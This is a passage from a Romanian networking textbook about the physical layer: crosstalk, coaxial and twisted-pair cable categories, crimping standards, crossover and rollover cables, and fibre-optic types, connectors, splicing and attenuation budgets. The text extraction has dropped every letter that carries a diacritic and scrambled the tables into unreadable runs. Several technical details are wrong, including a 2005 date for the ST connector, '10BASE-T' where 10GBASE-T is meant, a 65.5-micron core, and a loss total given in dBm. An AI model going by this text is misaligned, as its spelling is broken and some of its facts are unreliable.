cmpurile electrice generate de fiecare fir dintr-o pereche nu se vor mai anula i va aprea o interferen ntre fire, numit NEXT (Near-End Crosstalk). Acest parametru, NEXT, este specific fiecrui cablu. Cu ct un cablu este terminat (adic mufa este sertizat) cu mai mult atenie, cu att efectul NEXT va fi mai mic. Valoarea maxim a parametrului NEXT este specific fiecrei categorii de cablu (Cat3, Cat5, Cat6): cu ct categoria este mai mare, cu att interferena NEXT trebuie s fie mai mic (adic se impune o calitate mai ridicat a sertizrii cablurilor). Terminarea cu grij a cablurilor este cea mai important metod de prevenire a efectului de crosstalk.

1.2 Medii de transmisie


n seciunile anterioare s-a prezentat modul n care informaiile, reprezentate de bii, ajung pe canalul de comunicaie. nainte ca acestea s fie transmise, trebuie transformate n semnale, acestea putnd fi analogice (continue n timp) sau digitale (discrete).

N i v e l u l f i z i c | 27 O alt clasificare a semnalelor se refer la mediul pe care sunt transmise: electrice (impulsuri electrice ce folosesc suportul de cupru), optice (impulsuri luminoase ce sunt transmise prin fibra optic) i wireless (fr fir, sub form de unde radio sau unde electromagnetice vezi capitolul Wireless). Cele ce folosesc cablul se mai numesc i medii de transmisie ghidate, iar cele fr fir, neghidate. O alt noiune, prin care poate fi clasificat un mediu, este legat de modul n care se pot face transmisia i recepia. Astfel, acestea pot fi full-duplex, transmisia i recepia realizndu-se simultan, sau half-duplex, n care transmisia i recepia se serializeaz (nu putem transmite i primi n acelai timp).

1.2.1 Cablul coaxial


Reele de cablu coaxial au avut perioada de impact maxim la jumtatea anilor '90. Odat cu apariia mediilor torsadate (UTP, STP) popularitatea lor a nceput s scad. Dei ofer o mai bun ecranare i permit distane mai mari, mediul coaxial este unul analogic, spre deosebire de mediul torsadat unde transmisia se realizeaz digital. Eliminarea etapelor de conversie digital-analogic a permis costuri mai reduse pentru echipamentele de reea destinate reelor bazate pe UTP. n plus, folosirea unor perechi distincte pentru transmisie i recepie face din UTP un mediu de comunicaie full-duplex, spre deosebire de reelele bazate pe medii de transmisie coaxiale. Reelele de date bazate pe cablu coaxial mai pot fi nc ntlnite n cazul unor mici reele de cartier, dar n ultimii ani acestea au devenit extrem de rare. Cablul coaxial se mai folosete cu preponderen n reelele de televiziune. Exist o diferen fizic important ntre cablul coaxial folosit n trecut la reelele de calculatoare i cablul folosit n reelele CaTV (reea de televiziune): impedana. n primul caz cablul are o impedan de 50 ohmi (categoria RG58), iar n cel de-al doilea 75 ohmi (RG59). Componentele unui cablu coaxial se pot observa n Fig. 1-22.

1-22 Cablu Coaxial Aadar cablul coaxial are o importan major n reelele de televiziune, care sunt folosite i pentru transmisii de date folosind echipamentele corespunztoare.

1.2.2 Cablul torsadat


Cablul torsadat este format din mai multe fire de cupru izolate, avnd o grosime tipic de 1mm, mpletite dou cte dou (torsadate). Majoritatea cablurilor torsadate folosite pentru reelele locale conin opt fire, aadar patru perechi. Rsucirea firelor dintr-o pereche este necesar pentru anularea efectului de anten caracteristic liinilor lungi. Acest efect ar produce interferene electrice, ceea ce ar conduce la pierderi de date. Pe lng interferenele cauzate de cmpurile electrice induse de alte fire din interiorul aceluiai cablu, pot aprea i interferene din surse exterioare cablului (de exemplu: existena unui motor electric n apropiere, sau, pentru cablurile aflate n exteriorul cldirilor, descrcrile electrice din atmosfer). O metod prin care se ncearc reducerea la minim a interferenelor exterioare este

28 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e transmiterea diferenial. Transmiterea diferenial, sau transmiterea n mod balansat, presupune ca semnalul util transmis s reprezinte diferena dintre semnalele electrice de pe cele dou fire ale unei perechi. Astfel, dac apar interferene electrice de la surse exterioare cablului, acestea vor afecta ambele fire n mod egal, diferena dintre semnale rmnnd constant. O alt metod de prevenire a interferenelor exterioare este ecranarea cablurilor. Ecranarea presupune existena unui nveli format dintr-o plas sau o foi metalic ce are rol de cuc Faraday. Din punct de vedere al ecranrii exist dou feluri de cabluri torsadate: ecranate (shielded) i neecranate (unshielded). Cele neecranate se numesc UTP (unshielded twisted pair) i sunt cele mai folosite n cadrul reelelor locale de calculatoare, fiind, de altfel, i cele mai ieftine (vezi Fig. 1-23).

1-23 Cablu torsadat Dezavantajul cablurilor UTP este c nu pot fi folosite n exteriorul cldirilor, deoarece ar fi supuse unor posibile ocuri electrice foarte mari, ce ar duce la defectarea echipamentelor conectate. De aceea, n exteriorul cldirilor se folosete, n general, cablul ecranat: ScTP (screened twisted pair), STP (shielded twisted pair) sau S/STP (screened shielded twisted pair). ScTP, numit i FTP (foiled twisted pair), are un singur nveli de ecranare exterior i este doar cu puin mai gros dect UTP. Cablul STP are, pe lng nveliul de ecranare identic cu cel al ScTP-ului, cte un nveli separat pentru fiecare pereche. Acest lucru l face mult mai rezistent la interferene, dar i mult mai scump. n plus, fiind mai rigid, este i ceva mai greu de manevrat.

Standarde pentru medii torsadate


Colecia IEEE 802.3 cuprinde standardele ce definesc nivelul fizic i subnivelul MAC al nivelului legtur de date pentru Ethernet. Este definit cte un standard pentru fiecare tip de mediu de transmisie folosit. Astfel, n aceast colecie se regsesc, printre altele, standardele pentru cablu UTP, standardele pentru Ethernet pe cablu coaxial (10BASE5, 10BASE2), Ethernet prin fibr optic (10BASE-F, 100BASE-FX, etc) sau descrierea tehnologiei PoE (Power over Ethernet). Standardul ce conine cerinele pentru transmiterea a 10Mbit/s pe cablu UTP este standardul 10BASE-T. n mod similar, pentru 100 Mbit/s i 1000 Mbit/s (1 Gbit/s) exist 100BASE-T, respectiv 1000BASE-T (numit i Gigabit Ethernet). Numele standardului deriv din unele aspecte legate de mediul fizic: numrul reprezint viteza maxim teoretic exprimat n megabii pe secund. BASE este prescurtarea pentru baseband, ceea ce nseamn c fiecare fir este folosit ca un singur canal de comunicaie, pe care se transmite ntr-o singur frecven. Cu alte cuvinte, nu se aplic nicio form de multiplexare. Litera de la sfrit reprezint tipul cablului, n acest caz, T nseamn torsadat (twisted). Aadar, 100BASE-T este o denumire generic pentru un standard care asigur o vitez de 100Mbit/s pe cablu torsadat. n particular, sunt definite trei forme: 100BASE-TX, 100BASE-T4 i 100BASE-T2. 100BASE-TX indic utilizarea unui cablu de categorie cel puin CAT5 i folosirea a 2 perechi de fire din cele 4. Sufixul T4 indic folosirea a 4 perechi pentru comunicaie. 100BASE-T4 i 100BASE-T2 nu se mai folosesc, fiind standarde nvechite. Toate aceste standarde opereaz pe segmente de cablu cu lungimi de maxim 100 de metri. n 2006 a fost publicat standardul 10GBASE-T pentru conexiuni de 10 gigabit/s prin cablu torsadat. 10Gigabit Ethernet suport doar legturi fullduplex, spre deosebire de celelalte trei standarde ce suport i comunicaii half-duplex. Dup cum s-a menionat la nceputul acestui capitol, cantitatea de informaie transferat ntre emitor i receptor

N i v e l u l f i z i c | 29 este proporional cu frecvena semnalelor pe mediul de transmisie. n cazul semnalelor electrice, frecvena este dat de calitatea cuprului de a fi mai bun sau mai puin bun conductor de curent electric. Aceast calitate depinde de densitatea de impuriti caracteristic materialului. De aceea, exist mai multe categorii de cabluri, o categorie mai mare implicnd performane mai bune.

Categorii de medii torsadate


Categoriile de cabluri torsadate au fost definite n setul de standarde TIA/EIA-568-B de ctre asociaia american Telecommunications Industry Association (TIA). Acesta s-a dovedit a fi standardul cu cea mai larg acceptare n piaa productorilor de soluii pentru nivelul fizic.

UTP Cat1-4
Cablul ncadrat la categoria 1 (CAT1) este cel folosit n serviciile de telefonie clasic (POTS Plain Old Telephone Service) sau soneriile de la ui. Aceast etichetare este cumva improprie, ntruct setul de standarde TIA/EIA-568-B nu recunoate n momentul de fa dect categoriile 3, 5e, 6 i 6a. Standardul C3 a fost folosit n anii '90 pentru TokenRing i pentru Ethernet, ajungnd la viteze de pn la 10Mbit/s. Astzi, acesta este folosit n sistemele de telefonie i poate fi uor adaptat pentru Voice over IP (VoIP) ntruct viteza de 10Mbit/s pe care o ofer depete cu mult cerinele de 0,08Mbit/s ale unui telefon VoIP la ncrcare maxim. n plus, CAT3 este compatibil cu tehnologia Power over Ethernet (definit n standardul 802.3af PoE), tehnologie ce descrie un sistem prin care odat cu datele se transfer i energie electric, tocmai n scopul alimentrii anumitor aparate aflate la distan, precum telefoanele VoIP. Apariia standardului 100BASE-T4 a dus la creterea vitezei la 100Mbit/s prin utilizarea a 4 perechi de fire (i nu doar 2 cum prevedea standardul anterior), ceea ce a permis infrastructurilor mai vechi, deja existente, de cabluri CAT3 s ofere o lime de band mai mare. Cu toate acestea, utilizarea sa pentru comunicaiile de date a sczut odat cu apariia standardului CAT5. Standardul CAT4 oferea o frecven cu puin mai mare dect CAT3, 20MHz fa de 16MHz i era utilizat pentru o variant mbuntit a reelelor Token Ring.

UTP Cat5 i Cat5e


Specificaiile cablului de categoria 5, definite n TIA/EIA-568-B, indic o frecven maxim de 100MHz. CAT5 este folosit n special n reele de 100Mbit/s (FastEthernet), dar poate fi utilizat i pentru Gigabit Ethernet. Odat cu definirea n 2001 a CAT5e (enhanced) n TIA/EIA-568-B, specificaiile variantei originale CAT5 nu mai sunt recunoscute n aceste standarde. UTP CAT5e a devenit cel mai rspndit mediu de transmisie pentru reelele locale. Datorit performanelor mbuntite fa de versiunea original, i datorit unui pre mult mai mic dect al CAT6, CAT5e este cea mai potrivit alegere pentru infrastructura reelelor Gigabit Ethernet. Cu toate acestea, CAT5e menine recomandarea limitrii segmentelor de la cablu la 100 de metri, la fel ca i n cazul celorlalte tipuri de cabluri definite de TIA/EIA. Este de reinut faptul c standardul folosit pentru Gigabit Ethernet, 1000BASE-T, impune utilizarea a 4 perechi de fire torsadate, spre deosebire de versiunile anterioare (10BASE-T i 100BASE-T) care foloseau n comunicaie doar dou perechi. Aadar, standardul de Ethernet ales pentru infrastructur este cel care specific numrul de perechi necesare n comunicaie, i nu standardul de cablu. Categoria specific doar caracteristicile specifice cablului, precum: numrul de perechi existente, pasul de torsadare, diametrul firelor, parametrii NEXT, FEXT i, cel mai important, limita superioar de frecven. Astfel, un cablu CAT5e folosit pentru 100BASE-T (FastEthernet) utilizeaz n comunicaie 2 perechi de fire din cele 4 disponibile, n timp ce acelai cablu pentru infrastructuri de 1000BASE-T (Gigabit Ethernet) necesit toate cele 4 perechi.

30 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

UTP Cat6 i Cat6a


UTP CAT6 aduce mbuntiri majore, precum impunerea unui pas de torsadare mult mai mic dect la CAT5 i o limit superioar de frecven de 250MHz, fiind conceput special pentru reelele Gigabit Ethernet. Standardul de cablu categoria 6 pstreaz compatibilitatea cu standardele CAT5, CAT5e i CAT3. Dei CAT6 este mai frecvent folosit n reelele Gigabit Ethernet, specificaiile sale permit i implementarea standardului 10GBASE-T (aprut n 2006), dar numai pe segmente de 55 de metri. Pentru a face posibil utilizarea standardului 10BASE-T pe lungimi de 100 de metri, se impune folosirea unui nou tip de cablu, definit ca standard TIA n februarie 2008, i anume categoria 6a. Cablul UTP CAT6a (augmented) opereaz la frecvene de pn la 500MHz (dublu fa de CAT6 ), fiind destinat infrastructurilor de 10GBASE-T (10 Gigabit Ethernet).

UTP Cat7 i Cat8


Standardul de cablul categoria 7 (CAT7) are un pas de torsadare i mai mic dect CAT6 i, n combinaie cu conectori de tip GG45, poate trata semnale cu banda de frecven de pn la 625MHz. n plus, fiecare dintre cele patru perechi de fire este ecranat individual (pe lng nveliul exterior al cablului). Dei a fost creat pentru 10 Gigabit Ethernet, cea mai folosit tehnologie pentru 10GBASE-T rmne CAT6a. Categoria 7 este i cea mai strict n privina normelor de siguran referitoare la comportamentul cablurilor n situaii de incendiu: viteza de rspndire a focului, substane emanate, etc. Un exemplu care s justifice necesitatea unor astfel de reglementri este cel al cablurilor cu nveliul din PVC, foarte populare datorit pretului sczut. n momentul n care iau foc, aceste cabluri degaj substane foarte toxice omului, fiind total nepotrivite pentru cablrile orizontale. UTP CAT8 este destinat infrastructurilor multimedia, un astfel de cablu putnd transporta simultan oricare patru servicii de tip TV, video, satelit, audio, date, etc. Cablul UTP Cat 8 opereaz cu frecvene de 1200MHz i poate ajunge la maxim 1400MHz.

1-24 Categorii de medii torsadate

N i v e l u l f i z i c | 31

Tipuri de mufri ale cablului UTP


Procedura de fixare a firelor unui cablu ntr-un conector se numete sertizare. Standardul TIA/EIA-568B specific dou moduri n care pot fi ordonate firele la o terminaie a cablului, seciunea corespunztoare fiind probabil i cea mai cunoscut din ntreaga documentaie. Pentru a fi uor identificate, cele opt fire sunt colorate diferit. Culorile folosite pentru cele patru perechi sunt: albastru, verde, portocaliu i maro. Pentru a deosebi firele unei perechi, unul are nveliul de culoare uniform, cellalt avnd doar o dung din culoarea respectiv pe fond alb. Cele dou moduri specificate de TIA/EIA-568-B pentru ordonare firelor se numesc T568A (standard folosit mai mult n Statele Unite) i T568B (folosit n general n Europa). Dup cum se tie, tehnologiile 100BaseTX i 10BaseT folosesc doar dou perechi din cele patru: una pentru transmisie (Tx+ i Tx-) i una pentru recepie (Rx+ i Rx-). Conform standardelor de mai sus, acestea sunt portocaliu i verde (pinii 1,2,3 i 6). ATENIE: firele de Tx precum i firele de Rx trebuie s fac parte din aceeai pereche! Se observ c prima pereche ajunge pe pinii 1 i 2 iar a doua pereche pe pinii 3 i 6. n funcie de corespondena perechilor dintr-un capt cu pinii de la cellalt capt, cablurile se mpart n trei categorii:

Straight-through
Cablul direct (straight-through) are ambele capete sertizate conform aceluiai standard (T568A T568A n SUA, sau T568B - T568B n Europa). Se folosete atunci cnd se conecteaz o staie la un switch sau la un hub. Cele dou capete avnd aceeai ordine a firelor, fiecare pin al conectorului dintr-un capt comunic direct cu pin-ul corespunztor al conectorului de la cellalt capt al cablului.

Crossover
Cablul crossover se folosete la conectarea a dou calculatoare ntre ele, fr a mai folosi un switch sau un hub. Prin felul n care este construit acest cablu, pinul 1 de la un capt va corespunde pinului 3 de la cellalt capt, iar pinul 2 pinului 6. Aceasta nseamn c datele transmise prin perechea Tx de la un capt vor ajunge pe pinii de Rx de la conectorul opus. Astfel, dou calculatoare pot transfera date direct ntre ele, fr a mai trece printr-un alt echipament, dac plcile lor de reea sunt legate printr-un cablu crossover. ntruct singura diferen dintre T568A i T568B este inversarea perechii portocalii cu perechea verde, un cablu crossover poate fi vzut ca avnd un conector sertizat conform T568A i pe cellalt conform T568B. Un astfel de cablu va funciona pentru standardul 10BASE-T sau 10BASE-TX, unde se folosesc doar 2 perechi. Pentru 1000BASE-T (Gigabit crossover) ns, trebuie inversate i celelalte dou perechi (albastru i maro), i, n plus, schimbate ntre ele firele fiecrei perechi (cea dungat cu cea uniform).

Rollover
Cablul de consol (rollover) este folosit atunci cnd se dorete conectarea pe un port de consol a unui ruter. Exist mai multe variante de cabluri ce pot fi folosite pentru a face legtura ntre un PC i un port de consol al unui ruter. ntotdeauna portul calculatorului pentru o astfel de legtur este unul serial (DB-9 sau DB-25). Portul de pe ruter poate fi DB-25 sau RJ-45. Astfel, se poate folosi un cablu ce are ca terminatori o muf DB-9 i una RJ-45 sau un cablu rollover i un adaptor RJ45 DB9 (sau RJ45 DB25).

Auto-MDI/MIDX
Dup cum se poate observa, cnd se realizeaz mufrile cablurilor trebuie avute n vedere dispozitivele conectate, mufrile fiind predispuse la erori umane. Pentru a prentmpina acest lucru, s-a introdus conceptul de Auto-MDI/MDIX. Noiunea de MDI (Medium Dependant Interface) descrie o interfa de la nivelul fizic al stivei OSI pn la mediul de comunicaie folosit pentru a realiza transmisia. Tehnologia Ethernet, ce folosete cablurile twisted-pair, extinde definiia, introducnd conceptul de MDIX (Medium Dependant

32 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e Inteface Crossover). Diferena practic dintre un dispozitiv MDI i unul MDIX este faptul c primul are transmisia pe pinii 1 i 2, iar cel din urm are recepia pe pinii 1 i 2. Astfel, pentru a conecta un device MDI cu unul MDIX, se folosete un cablu straight-through. Prin convenie, s-a decis folosirea standardului MDIX pentru hub-uri i switch-uri, iar pentru restul dispozitivelor dintr-o reea (staii de lucru, rutere, servere) s fie folosit interfaa MDI. Daca dorim s conectm dou dispozitive ce au acelai tip de interfat, trebuie folosit un cablu crossover. Tehnologia Auto-MDI/MDIX detecteaz automat tipul de cablu necesar, prin negocierea direct ntre dispozitivele de la capete, i realizeaz configuraiile pinilor corespunztori (care sunt pentru transmisie i care sunt pentru recepie). Avnd la dispoziie aceast tehnologie, putem mufa toate capetele cablurilor la fel, respectnd unul din standardele de mufare. n practic, este bine s pstrai doar un singur tip de mufare (n general toate cablurile s fie straight-through), dar nainte trebuie s v documentai dac dispozitivele din reea au capabilitatea Auto-MDI/MDIX.

1.2.3 Fibra optic


Fibra optic este cel mai nou mediu de transmisie dezvoltat pentru reelele de calculatoare, avnd numeroase avantaje fa de cablurile de cupru, dintre care cele mai importante sunt viteza de transmisie superioar pe care o suport i imunitatea la interferene electrice. Principalele dezavantaje sunt costul i dificultatea manevrrii i instalrii. Acest mediu este folosit cu preponderen pentru legturi punct la punct la distane mari (peste cteva sute de metri). Un sistem de transmisie pe fibr optic este format dintr-un emitor (LED sau laser), o fibr transportoare i un receptor. Semnalul pe fibr optic este, de fapt, unda luminoas emis de un LED sau de un laser, n funcie de tipul de fibr. S-a observat c pentru anumite lungimi de und semnalul sufer o atenuare mai mic dect pentru altele. n urma studiilor, s-au stabilit trei intervale (ferestre) pentru valorile lungimilor de und la care atenuarea este foarte sczut i care permit emitorului s genereze mai multe semnale luminoase, iar receptorului s detecteze mai multe semnale. Aceste intervale sunt prezentate n Fig. 1-25.

1-25 Intervalele de lungimi de und pentru care atenuarea este minim Notaiile OH- indic faptul c la acele lungimi de und, n mod special, prezena ionilor OH- din materialul fibrei optice produc creteri foarte mari ale atenurii. De aceea, lungimile de und utilizate n sistemele optice sunt: 850nm, 1300nm (pentru fibra multi-mode) i 1310nm, 1550nm (pentru single-mode). Interiorul fibrei optice este format din miez (core) i nveli (cladding), dou tuburi concentrice de sticl, inseparabile, avnd indici de reflexie diferii. Propagarea semnalului se bazeaz pe fenomenul de reflexie total. Cladding-ul, foarte subire, cu diametrul de 125 microni, este nvelit n trei straturi protectoare: un strat numit buffer, de obicei colorat, un nveli rezistent de protecie fabricat din kevlar (din acest material se fabric i vestele anti-glon) numit Aramid Yarn i un nveli exterior din PVC (jacket). Aceste trei straturi au rol de protecie pentru partea din sticl care este foarte fragil.

N i v e l u l f i z i c | 33

1-26 Structura fibrei optice n funcie de modul de transmisie i, implicit, de dimensiunea core-ului, fibrele optice se mpart n dou categorii: single-mode i multi-mode. Fibra multi-mode are dimensiunea core-ului de 50 sau 62,5 microni, acest lucru permind transmiterea semnalului prin reflexie n pereii core-ului. Acest tip de fibr permite distane mai mici dect cea single-mode (deoarece lumina are un drum mai lung de parcurs), ns este mai ieftin i mai uor de folosit (mai uor de terminat cu conectori i de sudat). De asemenea, echipamentele care emit semnal pe fibra optic multi-mode sunt mai ieftine, deoarece folosesc LED-uri (light emitting diode) cu lungimi de und de 850 sau 1300 nanometri. Aceste echipamente cu LED -uri nu sunt periculoase pentru oameni (nu afecteaz ochii). Fibra optic single-mode are o dimensiune a core-ului de 10 microni (mai nou ntre 5 i 8 microni), acesta acionnd ca un ghidaj pentru raza luminoas a semnalului care se transmite astfel aproape fr reflexie. Echipamentele terminale folosesc pentru a emite semnale luminoase lasere cu lungimi de und de 1310 sau 1550 nanometri. Deoarece laserul emite o und luminoas foarte puternic i focalizat, aceste echipamente pot produce leziuni grave ochiului. Aadar, dac vrem s vedem lumin ntr-o fibr optic, cel mai bine ar fi s alegem un echipament multimode sau o lantern! Fibra optic single-mode permite distane mai mari de transmisie dect cea multi-mode, ns este mult mai scump i impune precauii speciale. De asemenea, echipamentele pentru single-mode sunt mai scumpe dect cele pentru multi-mode. Din punctul de vedere al vitezei maxime de transmisie, limita fizic este impus de tehnologia folosit de echipamentele terminale, mai exact de viteza cu care sunt convertite impulsurile electrice n semnal optic, limita teoretic a limii de band pe fibra optic n sine fiind foarte mare (~80 Tbps). Dei, de exemplu, standardul Ethernet 802.3 pentru transmisie pe fibra optic limiteaz lungimea unui segment de fibr optic multi-mode la 2 km i unul de single-mode la 3 km, trebuie menionat c aceste limite se refer la modul de funcionare CSMA-CD (atunci cnd sunt posibile coliziuni). Deoarece n cazul legturilor de fibr optic sunt implicate conexiuni punct la punct, unde transmisia este full-duplex i nu exist posibilitatea apariiei coliziunilor, limitarea distanei maxime la care se poate ntinde un segment de fibr optic este dat numai de puterea de emitere a dispozitivelor terminale, putnd ajunge n cazul transmisiei single-mode i la 120 de km pentru FastEthernet i mult mai mult pentru alte tehnologii.

34 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1-27 Categorii de fibr optic i moduri de propagare O comparaie ntre laserele semiconductoare i LED-uri ca surse de lumin este prezentat n tabelul de mai jos: Criteriu Lungimea de und folosit Tip de fibr Viteza de transfer a datelor Distan Cost Durat de via LED 850nm sau 1300nm Multimode Mic Laser 1310nm sau 1550nm Singlemode Mare

Scurt Redus Lung

Lung Ridicat Scurt

Mod de construcie, conectori


Procedeul industrial de construcie al fibrei optice este foarte delicat i, de aceea, foarte scump. Acest procedeu se numete OVD (Outside Vapor Deposition), iar fibra rezultat este sintetic i are o consisten i o geometrie extrem de precise. n linii mari, prin diferite procese chimice i la temperaturi foarte nalte, se obin doi cilindri concentrici de sticl foarte pur, dup care cilindrul astfel rezultat se trage i se alungete pn cnd se obine o fibr care este rulat pe o rol mare. Procesul este continuu, adic pe msur ce se trage, se ruleaz fibra obinut pe rol. Acum se explic de ce fibra optic single-mode este mai scump dect cea multi-mode. Fibra optic folosit n exteriorul cldirilor este diferit de fibra pentru cablarea de interior. Pentru cablrile de exterior se folosete fibra loose-tube ce conine mai multe perechi de fibre, fiecare dintre acestea avnd doar core i cladding. O fibr de exterior poate conine de la cteva perechi pn la mii de perechi de fibre, costul cel mai mare pentru o instalare de exterior fiind manopera i nu fibra propriu-zis. Pentru cablarea de interior putem ntlni dou tipuri de fibr: cabluri cu mai multe perechi, numite tight-buffer i cabluri cu o singur fibr, numite patch-uri. Cablurile cu mai multe perechi sunt folosite pentru cablarea orizontal, n vreme ce patch-urile sunt folosite pentru interconectarea dispozitivelor pe distane mici.

N i v e l u l f i z i c | 35

mbinri
Prin mbinare (splicing) se nelege conectarea permanent a dou cabluri de fibr optic. mbinrile se realizeaz cu ajutorul unor dispozitive numite splice-uri. Caracterul permanent al mbinrii este cel care face diferena ntre un conector i un splice. Totui, terminologia poate crea confuzii, deoarece exist productori ce ofer i splice-uri nepermanente, care pot fi decuplate n scopul efecturii unor reparaii sau rearanjri. mbinrile sunt necesare, spre exemplu, pentru realizarea unor cabluri cu lungimi mai mari dect cele predefinite. Se poate ntmpla adesea ca un instalator de fibr optic s aib n stoc mai multe cabluri cu diverse lungimi (n general productorii ofer cabluri de lungime limitat maxim 6 km) dar s nu aib unul de 10 km. Cu ajutorul splice-urilor se pot mbina dou sau mai multe segmente pentru a obine cablul de lungimea dorit. Realizarea mbinrilor necesit o aliniere foarte precis a celor dou core-uri, astfel nct, la trecerea luminii prin punctul de jonciune s se piard ct mai puin energie. Cu alte cuvinte, trebuie ca aproape toat lumina venit pe o fibr s ajung n core-ul celei de-a doua. Contactul efectiv ntre cele dou tuburi de sticl nu este necesar. Cea mai mare provocare pentru designer-ii de splice-uri este dat de necesitatea alinierii foarte precise. Exist dou mari tipuri de mbinri: mecanice sau prin sudur. mbinrile prin sudur folosesc un arc electric pentru a topi i suda cele dou fibre de sticl. Aceste suduri implic o procedur complicat de aliniere, controlat prin calculator, i reuesc s limiteze pierderile la doar 0,05dB. Costurile manoperei pentru acest tip de mbinare sunt, ns, foarte ridicate, la fel i costurile de timp. mbinrile mecanice sunt rapid de implementat i nu necesit o instruire prealabil, ns pierderile sunt de aproape 0,2dB.

Conectori
Un cablu de fibr optic poate fi terminat n dou feluri folosind splice-uri prin care se realizeaz mbinri permanente sau nepermanente ntre dou fibre sau folosind conectori pentru cuplarea cablului la un echipament de reea. Aceste terminaii trebuie s fie alese n conformitate cu tipul fibrei i instalate astfel nct s minimizeze pierderile de lumin i s nu permit ptrunderea impuritilor. ntruct fibra optic a aprut la sfritul anilor `70, productorii au scos pe pia peste 80 de modele de conectori i numeroase metode de instalare, fiecare ncercnd s scad ct mai mult atenuarea (pierderea de semnal) i reflexia (apariia de semnale reziduale). Dintre acestea, ns, doar cteva tipuri sunt folosite n mod curent. Cei mai populari conectori sunt cei de tip ST (Straight Tip) i SC (Subscriber Connector). Conectorul de tip ST, aprut n 2005, are o form circular, asemntoare ntr-o anumit msur cu BNC-ul i este nc folosit pentru reelele multimode. Cilindrul (ferula) care susine fibra are 2,5 mm, la fel ca majoritatea conectorilor i este confecionat cel mai adesea din ceramic sau metal i rareori din plastic. ntruct mbinarea se face prin presare, se poate ntmpla s nu fie poziionat corect i, de aceea, n caz c se sesizeaz pierderi prea mari, trebuie scos i reconectat. Din pcate, acest conector ocup loc mult i, de aceea, conectorul recomandat n acest moment este SC, care are o form dreptunghiular i o conectare de tip push-pull. SC a fost definit n standardul TIA-568-A, dar nu a fost folosit la nceput deoarece costa de dou ori mai mult dect un conector ST. n ziua de azi este cel mai popular datorit performanelor sale foarte bune, a manipulrii foarte facile i a preului aproape egal cu cel al unui conector ST. Este disponibil i n varianta pentru configuraii duplex. Trebuie menionat c transmisia pe fibr optic se face pe o pereche (un fir pentru TX i unul pentru RX); conectorii duplex permit terminarea ambelor fibre n aceeai muf. Conectorii impun o atenie sporit la terminarea cablurilor de fibr optic, deoarece punctele de jonciune sunt cele care introduc cea mai mare atenuare i unde se poate ntmpla ca lumina fi reflectat napoi n fibr.

36 | C o n f i g u r a r e a i a d m i n i s t r a r e a r e e l e l o r l o c a l e

1-28 Conectori de fibr optic Pentru a face conectorii mai uor de recunoscut, standardul TIA-568 specific un cod al culorilor n care conectorii pentru fibr multi-mode au culoarea bej, iar cei pentru single-mode sunt albatri.

Analiza performanelor unei legturi pe fibr optic


Exist mai multe metode pentru calculul atenurii i pentru estimarea distanei maxime n cazul unei legturi prin fibr optic. Cea mai simpl i mai precis metod este folosirea unui Optical Time Domain Reflectometer (OTDR). Cu ajutorul acestui instrument se obine o valoare exact pentru ntreaga energie ce se pierde prin atenuare (att atenuarea mediului ct i cea introdus de conectori sau de splice-uri). n lipsa unei caracterizri riguroase date de un OTDR, atenuarea unei legturi poate fi estimat dac sunt cunoscute lungimea fibrei i variabilele de atenuare. Variabilele de atenuare sunt conectorii, splice-urile i rata de atenuare pe kilometru specific fibrei. Dac nu pot fi cunoscute valorile exacte pentru toate variabilele, este necesar o estimare a acestora, prin luarea n calcul a cazului cel mai nefavorabil. Tabelul de mai jos include valorile atenurii stabilite prin convenie (EIA/TIA) pentru variabilele de atenuare. Tipul de fibr Multimode 50/125m Lungimea de und 850 nm 1300 nm Multimode 65,5/125 m 850 nm 1300 nm SingleMode 9m 1310 nm 1550 nm 1-29 Atenuri pe fibr optic Atenuarea introdus de un conector se estimeaz la 0,75dB, cea introdusa de un splice mecanic 0,2dB, iar cea aprut n cazul unei suduri 0,05dB. Valorile aproximative de mai sus reprezint cazul cel mai defavorabil. Fiecare productor de echipamente pentru fibr optic ncearc s reduc cu ct mai mult atenuarea pentru fiecare dintre variabile. Pentru a calcula atenuarea total se nmulete lungimea cablului (n km) cu atenuarea corespunztoare tipului de fibr i se adun atenuarea introdus de fiecare splice sau conector de pe legtur. De exemplu, pentru un cablu de 40 de km de fibr single-mode la 1310nm cu 2 conectori i 5 splice-uri de tip sudur, atenuarea total se calculeaz: 40km x 0,4dB/km + 0,05dB x 5 + 0,75dB x 2 = 17,75dBm. La aceast valoare se recomand adugarea unei marje de siguran de cel puin 10dB, deoarece se poate ntmpla ca estimrile s fi fost prea optimiste, specificaiile vendor-ului inexacte sau, pur i simplu, atenuarea introdus de anumite componente s nu fi fost luat n calcul. Ceea ce nseamn Atenuarea/km 3,5 dB 1,5 dB 3,5 dB 1,5 dB 0,4 dB 0,3 dB

N i v e l u l f i z i c | 37 c este nevoie de o putere de aproximativ 27,75 dBm pentru ca semnalul s ajung la destinaie peste nivelul minim de sensibilitate al receptorului. dBm este unitatea folosit n exprimarea puterii msurate raportat la un miliWatt. Bugetul optic reprezint diferena dintre puterea minim de transmisie a emitorului i sensibilitatea receptorului. Este important ca, dup ce legtura a fost stabilit, s se msoare i s se verifice valorile efective ale atenurii, pentru a identifica potenialele probleme de performan. Distanele recomandate de ctre IEEE pentru un cablu de fibr optic n funcie de standardul Ethernet care va fi folosit sunt prezentate n tabelul urmtor. Standard Bandwidth Lungimea (Mbps) de und 10 100 100 1000 850nm 1300nm 850nm 850nm Tipul de fibr Distana recomandat 2 km 2 km 300 m 550 m 220 m 550 m 5 km 70km

10BASE-FL 100BASE-FX 100BASE-SX 1000BASE-SX

Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m sau 65,5/125 m Multimode 50/125 m Multimode 65,5/125 m

1000BASE-LX

1000

1300nm 1310nm

Multimode 50/125 m sau 65,5/125 m Singlemode 9/125 m Singlemode 9/125 m

1000BASE-LH

1000

1550

Comparaie ntre fibra optic i cablul UTP


